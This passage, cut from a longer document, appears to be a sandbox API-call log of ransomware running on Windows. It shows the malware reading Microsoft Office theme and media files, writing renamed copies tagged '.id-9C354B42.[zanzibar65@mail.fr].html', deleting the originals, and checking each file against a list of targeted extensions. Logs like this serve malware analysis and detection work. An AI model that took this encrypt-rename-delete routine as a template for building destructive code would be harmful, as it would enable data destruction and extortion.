hFile=0x354, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x53af, lpOverlapped=0x0) returned 1 [0274.267] WriteFile (in: hFile=0x384, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x53b0, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0x53b0, lpOverlapped=0x0) returned 1 [0274.268] ReadFile (in: hFile=0x354, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.268] WriteFile (in: hFile=0x384, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0274.268] SetEndOfFile (hFile=0x384) returned 1 [0274.268] CloseHandle (hObject=0x384) returned 1 [0274.269] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.269] SetEndOfFile (hFile=0x354) returned 1 [0274.271] CloseHandle (hObject=0x354) returned 1 [0274.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.271] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx")) returned 1 [0274.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0274.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0274.271] lstrlenW (lpString=".doc") returned 4 [0274.271] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.271] lstrlenW (lpString=".docx") returned 5 [0274.271] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.271] lstrlenW (lpString=".pdf") returned 4 [0274.271] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.271] lstrlenW (lpString=".xls") returned 4 [0274.271] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.271] lstrlenW (lpString=".xlsx") returned 5 [0274.272] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.272] lstrlenW (lpString=".ppt") returned 4 [0274.272] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0274.272] lstrlenW (lpString=".zip") returned 4 [0274.272] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.272] lstrlenW (lpString=".rar") returned 4 [0274.272] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.272] lstrlenW (lpString=".bz2") returned 4 [0274.272] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.272] lstrlenW (lpString=".7z") returned 3 [0274.272] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0274.272] lstrlenW (lpString=".dbf") returned 4 [0274.272] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0274.272] lstrlenW (lpString=".1cd") returned 4 [0274.272] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0274.272] lstrlenW (lpString=".jpg") returned 4 [0274.272] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0274.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0274.272] lstrlenW (lpString=".doc") returned 4 [0274.272] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.272] lstrlenW (lpString=".docx") returned 5 [0274.272] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.272] lstrlenW (lpString=".pdf") returned 4 [0274.272] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.272] lstrlenW (lpString=".xls") returned 4 [0274.272] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.272] lstrlenW (lpString=".xlsx") returned 5 [0274.273] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.273] lstrlenW (lpString=".ppt") returned 4 [0274.273] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0274.273] lstrlenW (lpString=".zip") returned 4 [0274.273] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.273] lstrlenW (lpString=".rar") returned 4 [0274.273] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.273] lstrlenW (lpString=".bz2") returned 4 [0274.273] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.273] lstrlenW (lpString=".7z") returned 3 [0274.273] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0274.273] lstrlenW (lpString=".dbf") returned 4 [0274.273] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0274.273] lstrlenW (lpString=".1cd") returned 4 [0274.273] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0274.273] lstrlenW (lpString=".jpg") returned 4 [0274.273] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.274] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0274.274] lstrlenW (lpString="Pushpin.eftx") returned 12 [0274.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0274.283] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=782121) returned 1 [0274.283] CloseHandle (hObject=0x2e4) returned 1 [0274.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx")) returned 0x20 [0274.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0274.284] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.284] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0274.284] GetLastError () returned 0x0 [0274.284] ReadFile (in: hFile=0x2e4, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0xbef29, lpOverlapped=0x0) returned 1 [0274.329] WriteFile (in: hFile=0x390, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xbef30, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0xbef30, lpOverlapped=0x0) returned 1 [0274.343] ReadFile (in: hFile=0x2e4, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.343] WriteFile (in: hFile=0x390, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.344] SetEndOfFile (hFile=0x390) returned 1 [0274.344] CloseHandle (hObject=0x390) returned 1 [0274.344] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.344] SetEndOfFile (hFile=0x2e4) returned 1 [0274.361] CloseHandle (hObject=0x2e4) returned 1 [0274.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.376] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx")) returned 1 [0274.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0274.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0274.435] lstrlenW (lpString=".doc") returned 4 [0274.435] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.435] lstrlenW (lpString=".docx") returned 5 [0274.435] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.435] lstrlenW (lpString=".pdf") returned 4 [0274.435] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.435] lstrlenW (lpString=".xls") returned 4 [0274.435] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.435] lstrlenW (lpString=".xlsx") returned 5 [0274.435] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.435] lstrlenW (lpString=".ppt") returned 4 [0274.435] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0274.435] lstrlenW (lpString=".zip") returned 4 [0274.435] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.435] lstrlenW (lpString=".rar") returned 4 [0274.436] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.436] lstrlenW (lpString=".bz2") returned 4 [0274.436] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.436] lstrlenW (lpString=".7z") returned 3 [0274.436] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0274.436] lstrlenW (lpString=".dbf") returned 4 [0274.436] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0274.436] lstrlenW (lpString=".1cd") returned 4 [0274.436] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0274.436] lstrlenW (lpString=".jpg") returned 4 [0274.436] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0274.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0274.436] lstrlenW (lpString=".doc") returned 4 [0274.436] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.436] lstrlenW (lpString=".docx") returned 5 [0274.436] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.436] lstrlenW (lpString=".pdf") returned 4 [0274.436] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.436] lstrlenW (lpString=".xls") returned 4 [0274.436] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.436] lstrlenW (lpString=".xlsx") returned 5 [0274.436] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.436] lstrlenW (lpString=".ppt") returned 4 [0274.436] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0274.437] lstrlenW (lpString=".zip") returned 4 [0274.437] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.437] lstrlenW (lpString=".rar") returned 4 [0274.437] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.437] lstrlenW (lpString=".bz2") returned 4 [0274.437] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.437] lstrlenW (lpString=".7z") returned 3 [0274.437] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0274.437] lstrlenW (lpString=".dbf") returned 4 [0274.437] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0274.437] lstrlenW (lpString=".1cd") returned 4 [0274.437] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0274.437] lstrlenW (lpString=".jpg") returned 4 [0274.437] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.438] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0274.438] lstrlenW (lpString="Trek.eftx") returned 9 [0274.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0274.514] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=129924) returned 1 [0274.514] CloseHandle (hObject=0x38c) returned 1 [0274.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx")) returned 0x20 [0274.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0274.653] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.653] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0274.750] GetLastError () returned 0x0 [0274.750] ReadFile (in: hFile=0x384, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x1fb84, lpOverlapped=0x0) returned 1 [0274.756] WriteFile (in: hFile=0x39c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x1fb90, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0x1fb90, lpOverlapped=0x0) returned 1 [0274.759] ReadFile (in: hFile=0x384, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.759] WriteFile (in: hFile=0x39c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0274.759] SetEndOfFile (hFile=0x39c) returned 1 [0274.759] CloseHandle (hObject=0x39c) returned 1 [0274.759] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.759] SetEndOfFile (hFile=0x384) returned 1 [0274.763] CloseHandle (hObject=0x384) returned 1 [0274.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx")) returned 1 [0274.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0274.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0274.764] lstrlenW (lpString=".doc") returned 4 [0274.764] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.764] lstrlenW (lpString=".docx") returned 5 [0274.764] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.764] lstrlenW (lpString=".pdf") returned 4 [0274.764] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.764] lstrlenW (lpString=".xls") returned 4 [0274.764] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.764] lstrlenW (lpString=".xlsx") returned 5 [0274.764] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.764] lstrlenW (lpString=".ppt") returned 4 [0274.764] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0274.764] lstrlenW (lpString=".zip") returned 4 [0274.764] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.764] lstrlenW (lpString=".rar") returned 4 [0274.764] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.764] lstrlenW (lpString=".bz2") returned 4 [0274.764] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.764] lstrlenW (lpString=".7z") returned 3 [0274.764] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0274.765] lstrlenW (lpString=".dbf") returned 4 [0274.765] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0274.765] lstrlenW (lpString=".1cd") returned 4 [0274.765] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0274.765] lstrlenW (lpString=".jpg") returned 4 [0274.765] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0274.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0274.765] lstrlenW (lpString=".doc") returned 4 [0274.765] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.765] lstrlenW (lpString=".docx") returned 5 [0274.765] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.765] lstrlenW (lpString=".pdf") returned 4 [0274.765] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.765] lstrlenW (lpString=".xls") returned 4 [0274.765] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.765] lstrlenW (lpString=".xlsx") returned 5 [0274.765] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.765] lstrlenW (lpString=".ppt") returned 4 [0274.765] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0274.765] lstrlenW (lpString=".zip") returned 4 [0274.765] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.765] lstrlenW (lpString=".rar") returned 4 [0274.765] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.765] lstrlenW (lpString=".bz2") returned 4 [0274.765] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.765] lstrlenW (lpString=".7z") returned 3 [0274.765] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0274.765] lstrlenW (lpString=".dbf") returned 4 [0274.766] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0274.766] lstrlenW (lpString=".1cd") returned 4 [0274.766] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0274.766] lstrlenW (lpString=".jpg") returned 4 [0274.766] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.766] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0274.766] lstrlenW (lpString="BULLETS.DLL") returned 11 [0274.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0274.770] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=15264) returned 1 [0274.770] CloseHandle (hObject=0x2e0) returned 1 [0274.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll")) returned 0x20 [0274.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bullets.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0274.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0274.770] lstrlenW (lpString=".doc") returned 4 [0274.770] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0274.770] lstrlenW (lpString=".docx") returned 5 [0274.770] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0274.770] lstrlenW (lpString=".pdf") returned 4 [0274.771] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0274.771] lstrlenW (lpString=".xls") returned 4 [0274.771] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0274.771] lstrlenW (lpString=".xlsx") returned 5 [0274.771] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0274.771] lstrlenW (lpString=".ppt") returned 4 [0274.771] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0274.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BULLETS.DLL") returned 68 [0274.771] lstrlenW (lpString=".zip") returned 4 [0274.771] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0274.771] lstrlenW (lpString=".rar") returned 4 [0274.771] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0274.771] lstrlenW (lpString=".bz2") returned 4 [0274.771] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0274.771] lstrlenW (lpString=".7z") returned 3 [0274.771] lstrcmpiW (lpString1=".7z", 